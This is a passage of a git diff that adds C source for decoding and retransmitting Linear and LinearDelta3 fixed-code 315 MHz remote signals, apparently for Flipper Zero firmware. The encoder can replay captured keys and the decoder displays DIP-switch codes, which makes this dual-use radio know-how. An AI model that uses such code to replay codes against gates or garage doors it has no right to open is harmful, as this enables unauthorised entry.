+    .alloc = subghz_protocol_decoder_linear_alloc,
+    .free = subghz_protocol_decoder_linear_free,
+
+    .feed = subghz_protocol_decoder_linear_feed,
+    .reset = subghz_protocol_decoder_linear_reset,
+
+    .get_hash_data = subghz_protocol_decoder_linear_get_hash_data,
+    .serialize = subghz_protocol_decoder_linear_serialize,
+    .deserialize = subghz_protocol_decoder_linear_deserialize,
+    .get_string = subghz_protocol_decoder_linear_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_linear_encoder = {
+    .alloc = subghz_protocol_encoder_linear_alloc,
+    .free = subghz_protocol_encoder_linear_free,
+
+    .deserialize = subghz_protocol_encoder_linear_deserialize,
+    .stop = subghz_protocol_encoder_linear_stop,
+    .yield = subghz_protocol_encoder_linear_yield,
+};
+
+const SubGhzProtocol subghz_protocol_linear = {
+    .name = SUBGHZ_PROTOCOL_LINEAR_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_linear_decoder,
+    .encoder = &subghz_protocol_linear_encoder,
+};
+
+void* subghz_protocol_encoder_linear_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderLinear* instance = malloc(sizeof(SubGhzProtocolEncoderLinear));
+
+    instance->base.protocol = &subghz_protocol_linear;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 28; //max 10bit*2 + 2 (start, stop)
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_linear_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderLinear* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderLinear instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_linear_get_upload(SubGhzProtocolEncoderLinear* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2);
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 1; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_linear_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_linear_const.te_short);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_linear_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_linear_const.te_long);
+        }
+    }
+    //Send end bit
+    if(bit_read(instance->generic.data, 0)) {
+        //send bit 1
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_linear_const.te_long);
+        //Send gap
+        instance->encoder.upload[index++] =
+            level_duration_make(false, (uint32_t)subghz_protocol_linear_const.te_short * 42);
+    } else {
+        //send bit 0
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_linear_const.te_short);
+        //Send gap
+        instance->encoder.upload[index++] =
+            level_duration_make(false, (uint32_t)subghz_protocol_linear_const.te_short * 44);
+    }
+
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_linear_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderLinear* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_linear_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_linear_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_linear_stop(void* context) {
+    SubGhzProtocolEncoderLinear* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_linear_yield(void* context) {
+    SubGhzProtocolEncoderLinear* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_linear_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderLinear* instance = malloc(sizeof(SubGhzProtocolDecoderLinear));
+    instance->base.protocol = &subghz_protocol_linear;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_linear_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderLinear* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_linear_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderLinear* instance = context;
+    instance->decoder.parser_step = LinearDecoderStepReset;
+}
+
+void subghz_protocol_decoder_linear_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderLinear* instance = context;
+    switch(instance->decoder.parser_step) {
+    case LinearDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_linear_const.te_short * 42) <
+                        subghz_protocol_linear_const.te_delta * 15)) {
+            //Found header Linear
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->decoder.parser_step = LinearDecoderStepSaveDuration;
+        }
+        break;
+    case LinearDecoderStepSaveDuration:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = LinearDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = LinearDecoderStepReset;
+        }
+        break;
+    case LinearDecoderStepCheckDuration:
+        if(!level) { //save interval
+            if(duration >= (subghz_protocol_linear_const.te_short * 5)) {
+                instance->decoder.parser_step = LinearDecoderStepReset;
+                //checking that the duration matches the guardtime
+                if(DURATION_DIFF(duration, subghz_protocol_linear_const.te_short * 42) >
+                   subghz_protocol_linear_const.te_delta * 15) {
+                    break;
+                }
+                if(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_linear_const.te_short) <
+                   subghz_protocol_linear_const.te_delta) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                } else if(
+                    DURATION_DIFF(instance->decoder.te_last, subghz_protocol_linear_const.te_long) <
+                    subghz_protocol_linear_const.te_delta) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                }
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_linear_const.min_count_bit_for_found) {
+                    instance->generic.serial = 0x0;
+                    instance->generic.btn = 0x0;
+
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                break;
+            }
+
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_linear_const.te_short) <
+                subghz_protocol_linear_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_linear_const.te_long) <
+                subghz_protocol_linear_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = LinearDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_linear_const.te_long) <
+                 subghz_protocol_linear_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_linear_const.te_short) <
+                 subghz_protocol_linear_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = LinearDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = LinearDecoderStepReset;
+            }
+
+        } else {
+            instance->decoder.parser_step = LinearDecoderStepReset;
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_linear_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderLinear* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_linear_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderLinear* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_linear_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderLinear* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic, flipper_format, subghz_protocol_linear_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_linear_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderLinear* instance = context;
+
+    // Protocol is actually implemented wrong way around, bits are inverted.
+    // Instead of fixing it and breaking old saved remotes,
+    // only the display here is inverted (~) to show correct values.
+    uint32_t code_found_lo = ~instance->generic.data & 0x00000000000003ff;
+
+    uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key(
+        ~instance->generic.data, instance->generic.data_count_bit);
+
+    uint32_t code_found_reverse_lo = code_found_reverse & 0x00000000000003ff;
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:0x%03lX\r\n"
+        "Yek:0x%03lX\r\n"
+        "DIP:" DIP_PATTERN "\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        code_found_lo,
+        code_found_reverse_lo,
+        DATA_TO_DIP(code_found_lo));
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/linear.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/linear.h
new file mode 100644
index 000000000..b692b911c
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/linear.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_LINEAR_NAME "Linear"
+
+typedef struct SubGhzProtocolDecoderLinear SubGhzProtocolDecoderLinear;
+typedef struct SubGhzProtocolEncoderLinear SubGhzProtocolEncoderLinear;
+
+extern const SubGhzProtocolDecoder subghz_protocol_linear_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_linear_encoder;
+extern const SubGhzProtocol subghz_protocol_linear;
+
+/**
+ * Allocate SubGhzProtocolEncoderLinear.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderLinear* pointer to a SubGhzProtocolEncoderLinear instance
+ */
+void* subghz_protocol_encoder_linear_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderLinear.
+ * @param context Pointer to a SubGhzProtocolEncoderLinear instance
+ */
+void subghz_protocol_encoder_linear_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderLinear instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_linear_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderLinear instance
+ */
+void subghz_protocol_encoder_linear_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderLinear instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_linear_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderLinear.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderLinear* pointer to a SubGhzProtocolDecoderLinear instance
+ */
+void* subghz_protocol_decoder_linear_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderLinear.
+ * @param context Pointer to a SubGhzProtocolDecoderLinear instance
+ */
+void subghz_protocol_decoder_linear_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderLinear.
+ * @param context Pointer to a SubGhzProtocolDecoderLinear instance
+ */
+void subghz_protocol_decoder_linear_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderLinear instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_linear_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderLinear instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_linear_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderLinear.
+ * @param context Pointer to a SubGhzProtocolDecoderLinear instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_linear_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderLinear.
+ * @param context Pointer to a SubGhzProtocolDecoderLinear instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_linear_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderLinear instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_linear_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/linear_delta3.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/linear_delta3.c
new file mode 100644
index 000000000..133f2b109
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/linear_delta3.c
@@ -0,0 +1,349 @@
+#include "linear_delta3.h"
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#define TAG "SubGhzProtocolLinearDelta3"
+
+#define DIP_PATTERN "%c%c%c%c%c%c%c%c"
+#define DATA_TO_DIP(dip)                                                                    \
+    (dip & 0x0080 ? '0' : '1'), (dip & 0x0040 ? '0' : '1'), (dip & 0x0020 ? '0' : '1'),     \
+        (dip & 0x0010 ? '0' : '1'), (dip & 0x0008 ? '0' : '1'), (dip & 0x0004 ? '0' : '1'), \
+        (dip & 0x0002 ? '0' : '1'), (dip & 0x0001 ? '0' : '1')
+
+static const SubGhzBlockConst subghz_protocol_linear_delta3_const = {
+    .te_short = 500,
+    .te_long = 2000,
+    .te_delta = 150,
+    .min_count_bit_for_found = 8,
+};
+
+struct SubGhzProtocolDecoderLinearDelta3 {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+
+    uint32_t last_data;
+};
+
+struct SubGhzProtocolEncoderLinearDelta3 {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    LinearDecoderStepReset = 0,
+    LinearDecoderStepSaveDuration,
+    LinearDecoderStepCheckDuration,
+} LinearDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_linear_delta3_decoder = {
+    .alloc = subghz_protocol_decoder_linear_delta3_alloc,
+    .free = subghz_protocol_decoder_linear_delta3_free,
+
+    .feed = subghz_protocol_decoder_linear_delta3_feed,
+    .reset = subghz_protocol_decoder_linear_delta3_reset,
+
+    .get_hash_data = subghz_protocol_decoder_linear_delta3_get_hash_data,
+    .serialize = subghz_protocol_decoder_linear_delta3_serialize,
+    .deserialize = subghz_protocol_decoder_linear_delta3_deserialize,
+    .get_string = subghz_protocol_decoder_linear_delta3_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_linear_delta3_encoder = {
+    .alloc = subghz_protocol_encoder_linear_delta3_alloc,
+    .free = subghz_protocol_encoder_linear_delta3_free,
+
+    .deserialize = subghz_protocol_encoder_linear_delta3_deserialize,
+    .stop = subghz_protocol_encoder_linear_delta3_stop,
+    .yield = subghz_protocol_encoder_linear_delta3_yield,
+};
+
+const SubGhzProtocol subghz_protocol_linear_delta3 = {
+    .name = SUBGHZ_PROTOCOL_LINEAR_DELTA3_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_linear_delta3_decoder,
+    .encoder = &subghz_protocol_linear_delta3_encoder,
+};
+
+void* subghz_protocol_encoder_linear_delta3_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderLinearDelta3* instance =
+        malloc(sizeof(SubGhzProtocolEncoderLinearDelta3));
+
+    instance->base.protocol = &subghz_protocol_linear_delta3;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 16;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_linear_delta3_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderLinearDelta3* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderLinearDelta3 instance
+ * @return true On success
+ */
+static bool
+    subghz_protocol_encoder_linear_delta3_get_upload(SubGhzProtocolEncoderLinearDelta3* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2);
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 1; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_linear_delta3_const.te_short);
+            instance->encoder.upload[index++] = level_duration_make(
+                false, (uint32_t)subghz_protocol_linear_delta3_const.te_short * 7);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_linear_delta3_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_linear_delta3_const.te_long);
+        }
+    }
+    //Send end bit
+    if(bit_read(instance->generic.data, 0)) {
+        //send bit 1
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_linear_delta3_const.te_short);
+        //Send PT_GUARD
+        instance->encoder.upload[index] = level_duration_make(
+            false, (uint32_t)subghz_protocol_linear_delta3_const.te_short * 73);
+    } else {
+        //send bit 0
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_linear_delta3_const.te_long);
+        //Send PT_GUARD
+        instance->encoder.upload[index] = level_duration_make(
+            false, (uint32_t)subghz_protocol_linear_delta3_const.te_short * 70);
+    }
+
+    return true;
+}
+
+SubGhzProtocolStatus subghz_protocol_encoder_linear_delta3_deserialize(
+    void* context,
+    FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderLinearDelta3* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_linear_delta3_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_linear_delta3_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_linear_delta3_stop(void* context) {
+    SubGhzProtocolEncoderLinearDelta3* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_linear_delta3_yield(void* context) {
+    SubGhzProtocolEncoderLinearDelta3* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_linear_delta3_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderLinearDelta3* instance =
+        malloc(sizeof(SubGhzProtocolDecoderLinearDelta3));
+    instance->base.protocol = &subghz_protocol_linear_delta3;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_linear_delta3_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderLinearDelta3* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_linear_delta3_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderLinearDelta3* instance = context;
+    instance->decoder.parser_step = LinearDecoderStepReset;
+    instance->last_data = 0;
+}
+
+void subghz_protocol_decoder_linear_delta3_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderLinearDelta3* instance = context;
+    switch(instance->decoder.parser_step) {
+    case LinearDecoderStepReset:
+        if((!level) &&
+           (DURATION_DIFF(duration, subghz_protocol_linear_delta3_const.te_short * 70) <
+            subghz_protocol_linear_delta3_const.te_delta * 24)) {
+            //Found header Linear
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->decoder.parser_step = LinearDecoderStepSaveDuration;
+        }
+        break;
+    case LinearDecoderStepSaveDuration:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = LinearDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = LinearDecoderStepReset;
+        }
+        break;
+    case LinearDecoderStepCheckDuration:
+        if(!level) {
+            if(duration >= (subghz_protocol_linear_delta3_const.te_short * 10)) {
+                instance->decoder.parser_step = LinearDecoderStepReset;
+                if(DURATION_DIFF(
+                       instance->decoder.te_last, subghz_protocol_linear_delta3_const.te_short) <
+                   subghz_protocol_linear_delta3_const.te_delta) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                } else if(
+                    DURATION_DIFF(
+                        instance->decoder.te_last, subghz_protocol_linear_delta3_const.te_long) <
+                    subghz_protocol_linear_delta3_const.te_delta) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                }
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_linear_delta3_const.min_count_bit_for_found) {
+                    if((instance->last_data == instance->decoder.decode_data) &&
+                       instance->last_data) {
+                        instance->generic.serial = 0x0;
+                        instance->generic.btn = 0x0;
+
+                        instance->generic.data = instance->decoder.decode_data;
+                        instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                        if(instance->base.callback)
+                            instance->base.callback(&instance->base, instance->base.context);
+                    }
+                    instance->decoder.parser_step = LinearDecoderStepSaveDuration;
+                    instance->last_data = instance->decoder.decode_data;
+                }
+                break;
+            }
+
+            if((DURATION_DIFF(
+                    instance->decoder.te_last, subghz_protocol_linear_delta3_const.te_short) <
+                subghz_protocol_linear_delta3_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_linear_delta3_const.te_short * 7) <
+                subghz_protocol_linear_delta3_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = LinearDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_linear_delta3_const.te_long) <
+                 subghz_protocol_linear_delta3_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_linear_delta3_const.te_long) <
+                 subghz_protocol_linear_delta3_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = LinearDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = LinearDecoderStepReset;
+            }
+
+        } else {
+            instance->decoder.parser_step = LinearDecoderStepReset;
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_linear_delta3_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderLinearDelta3* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8));
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_linear_delta3_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderLinearDelta3* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_linear_delta3_deserialize(
+    void* context,
+    FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderLinearDelta3* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic,
+        flipper_format,
+        subghz_protocol_linear_delta3_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_linear_delta3_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderLinearDelta3* instance = context;
+
+    uint32_t data = instance->generic.data & 0xFF;
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:0x%lX\r\n"
+        "DIP:" DIP_PATTERN "\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        data,
+        DATA_TO_DIP(data));
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/linear_delta3.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/linear_delta3.h
new file mode 100644
index 000000000..22f6730f4
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/linear_delta3.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_LINEAR_DELTA3_NAME "LinearDelta3"
+
+typedef struct SubGhzProtocolDecoderLinearDelta3 SubGhzProtocolDecoderLinearDelta3;
+typedef struct SubGhzProtocolEncoderLinearDelta3 SubGhzProtocolEncoderLinearDelta3;
+
+extern const SubGhzProtocolDecoder subghz_protocol_linear_delta3_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_linear_delta3_encoder;
+extern const SubGhzProtocol subghz_protocol_linear_delta3;
+
+/**
+ * Allocate SubGhzProtocolEncoderLinearDelta3.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderLinearDelta3* pointer to a SubGhzProtocolEncoderLinearDelta3 instance
+ */
+void* subghz_protocol_encoder_linear_delta3_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderLinearDelta3.
+ * @param context Pointer to a SubGhzProtocolEncoderLinearDelta3 instance
+ */
+void subghz_protocol_encoder_linear_delta3_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderLinearDelta3 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_linear_delta3_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderLinearDelta3 instance
+ */
+void subghz_protocol_encoder_linear_delta3_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderLinearDelta3 instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_linear_delta3_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderLinearDelta3.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderLinearDelta3* pointer to a SubGhzProtocolDecoderLinearDelta3 instance
+ */
+void* subghz_protocol_decoder_linear_delta3_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderLinearDelta3.
+ * @param context Pointer to a SubGhzProtocolDecoderLinearDelta3 instance
+ */
+void subghz_protocol_decoder_linear_delta3_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderLinearDelta3.
+ * @param context Pointer to a SubGhzProtocolDecoderLinearDelta3 instance
+ */
